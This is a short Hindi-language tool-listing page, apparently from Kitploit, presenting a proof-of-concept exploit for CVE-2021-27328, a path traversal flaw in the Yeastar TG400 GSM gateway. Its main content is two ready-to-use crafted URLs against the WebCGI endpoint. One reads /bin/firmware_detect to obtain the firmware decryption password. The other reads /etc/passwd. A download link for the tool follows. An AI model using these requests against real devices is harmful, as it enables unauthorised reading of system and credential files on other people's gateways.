CVE-2021-27328 — CVE-2021-27328 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Yeastar TG400 GSM गेटवे में एक पथ ट्रैवर्सल भेद्यता, जो WebCGI एंडपॉइंट पर एक निर्मित HTTP अनुरोध के माध्यम से मनमाना फ़ाइल पढ़ने का प्रदर्शन करता है। | Kitploit

यीस्टार TG400 GSM गेटवे - 91.3.0.3 पर पाथ ट्रैवर्सल

यह CVE-2021-27328 के लिए एक प्रूफ ऑफ कॉन्सेप्ट है

उदाहरण

फर्मवेयर डिक्रिप्टिंग पासवर्ड प्राप्त करने के लिए

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

ZIP पासवर्ड

/etc/paswd प्राप्त करने के लिए

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd

/etc/passwd

टूल डाउनलोड करें

CVE-2021-27328

सबसे लोकप्रिय

यीस्टार TG400 GSM गेटवे - 91.3.0.3 पर पाथ ट्रैवर्सल

उदाहरण